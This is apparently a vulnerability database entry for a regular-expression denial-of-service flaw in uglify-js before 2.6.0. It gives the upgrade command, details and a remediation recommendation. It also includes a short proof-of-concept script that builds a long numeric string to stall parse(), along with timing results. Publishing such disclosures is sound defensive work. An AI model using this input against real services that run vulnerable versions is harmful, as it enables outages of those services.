VDB
Sign up
HIGH7.5

GHSA-c9f4-xj24-8jqx

Regular Expression Denial of Service in uglify-js

Quick fix

GHSA-c9f4-xj24-8jqx — uglify-js: upgrade to the fixed version with the command below.

npm install uglify-js@2.6.0

Details

Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.

### Proof of Concept

``` var u = require('uglify-js'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }

return result; }

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;"); ```

### Results ``` $ time node test.js 10000 real 0m1.091s user 0m1.047s sys 0m0.039s

$ time node test.js 80000 real 0m6.486s user 0m6.229s sys 0m0.094s ```

## Recommendation

Update to version 2.6.0 or later.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/uglify-js
Introduced in: 0Fixed in: 2.6.0
Fixnpm install uglify-js@2.6.0

References